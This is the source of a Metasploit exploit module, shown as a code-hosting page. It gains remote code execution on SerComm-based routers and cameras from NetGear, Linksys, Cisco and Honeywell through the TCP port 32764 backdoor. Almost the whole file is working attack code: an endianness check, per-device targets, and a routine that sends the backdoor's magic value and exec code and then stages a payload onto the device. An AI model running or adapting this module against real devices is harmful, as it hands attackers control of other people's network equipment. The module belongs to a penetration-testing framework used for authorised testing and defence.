Path: blob/master/modules/exploits/linux/misc/sercomm_exec.rb
19566 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::CmdStager1011def initialize(info = {})12super(13update_info(14info,15'Name' => "SerComm Device Remote Code Execution",16'Description' => %q{17This module will cause remote code execution on several SerComm devices.18These devices typically include routers from NetGear and Linksys.19This module was tested successfully against several NetGear, Honeywell20and Cisco devices.21},22'License' => MSF_LICENSE,23'Author' => [24'Eloi Vanderbeken <eloi.vanderbeken[at]gmail.com>', # Initial discovery, poc25'Matt "hostess" Andreko <mandreko[at]accuvant.com>' # Msf module26],27'Payload' => {28'Space' => 10000, # Could be more, but this should be good enough29'DisableNops' => true30},31'Platform' => 'linux',32'Privileged' => false,33'Targets' => [34[35'Generic Linux MIPS Big Endian',36{37'Arch' => ARCH_MIPSBE,38'PackFormat' => 'VVV'39}40],41[42'Generic Linux MIPS Little Endian',43{44'Arch' => ARCH_MIPSLE,45'PackFormat' => 'NNN'46}47],48[49'Manual Linux MIPS Big Endian',50{51'Arch' => ARCH_MIPSBE52}53],54[55'Manual Linux MIPS Little Endian',56{57'Arch' => ARCH_MIPSLE58}59],60[61'Cisco WAP4410N',62{63'Arch' => ARCH_MIPSBE,64'PackFormat' => 'NNN',65}66],67[68'Honeywell WAP-PL2 IP Camera',69{70'Arch' => ARCH_MIPSLE,71'PackFormat' => 'VVV'72}73],74[75'Netgear DG834',76{77'Arch' => ARCH_MIPSBE,78'PackFormat' => 'VVV',79'NoArgs' => true80}81],82[83'Netgear DG834G',84{85'Arch' => ARCH_MIPSLE,86'PackFormat' => 'VVV',87'PayloadEncode' => 'octal'88}89],90[91'Netgear DG834PN',92{93'Arch' => ARCH_MIPSBE,94'PackFormat' => 'VVV',95'NoArgs' => true96}97],98[99'Netgear DGN1000',100{101'Arch' => ARCH_MIPSBE,102'PackFormat' => 'VVV',103'NoArgs' => true104}105],106[107'Netgear DSG835',108{109'Arch' => ARCH_MIPSBE,110'PackFormat' => 'VVV',111'NoArgs' => true,112}113],114[115'Netgear WPNT834',116{117'Arch' => ARCH_MIPSBE,118'PackFormat' => 'NNN',119'UploadPath' => '/var',120'PayloadEncode' => 'octal'121}122]123],124'DefaultTarget' => 0,125'References' => [126[ 'OSVDB', '101653' ],127[ 'URL', 'https://github.com/elvanderb/TCP-32764' ]128],129'DisclosureDate' => '2013-12-31',130'Notes' => {131'Reliability' => UNKNOWN_RELIABILITY,132'Stability' => UNKNOWN_STABILITY,133'SideEffects' => UNKNOWN_SIDE_EFFECTS134}135)136)137138register_options(139[140Opt::RPORT(32764)141]142)143144register_advanced_options(145[146OptEnum.new('PACKFORMAT', [false, "Pack Format to use", 'VVV', ['VVV', 'NNN']]),147OptString.new('UPLOADPATH', [false, "Remote path to land the payload", "/tmp" ]),148OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]),149OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]),150]151)152deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')153end154155def check156fprint = endian_fingerprint157158case fprint159when 'BE'160vprint_status("Detected Big Endian")161return Msf::Exploit::CheckCode::Appears162when 'LE'163vprint_status("Detected Little Endian")164return Msf::Exploit::CheckCode::Appears165end166167return Msf::Exploit::CheckCode::Safe168end169170def exploit171if target.name =~ /Manual/172print_warning("Remember you can configure Manual targets with NOARGS, UPLOADPATH, ENCODING and PACK advanced options")173@no_args = datastore['NOARGS']174@upload_path = datastore['UPLOADPATH']175@encoding_format = datastore['ENCODING']176@pack_format = datastore['PACKFORMAT']177else178@no_args = target['NoArgs']179@upload_path = target['UploadPath']180@encoding_format = target['PayloadEncode']181@pack_format = target['PackFormat']182end183184execute_cmdstager(185:noargs => @no_args,186:temp => @upload_path,187:enc_format => @encoding_format,188:flavor => :echo189)190end191192def endian_fingerprint193begin194connect195196sock.put(rand_text(5))197res = sock.get_once198199disconnect200201if res && res.start_with?("MMcS")202return 'BE'203elsif res && res.start_with?("ScMM")204return 'LE'205end206rescue Rex::ConnectionError => e207print_error("Connection failed: #{e.class}: #{e}")208end209210return nil211end212213def execute_command(cmd, opts)214# Get the length of the command, for the backdoor's command injection215cmd_length = cmd.length216217# 0x53634d4d => Backdoor code218# 0x07 => Exec command219# cmd_length => Length of command to execute, sent after communication struct220data = [0x53634d4d, 0x07, cmd_length].pack(@pack_format)221222connect223# Send command structure followed by command text224sock.put(data + cmd)225disconnect226227Rex.sleep(1)228end229end230231232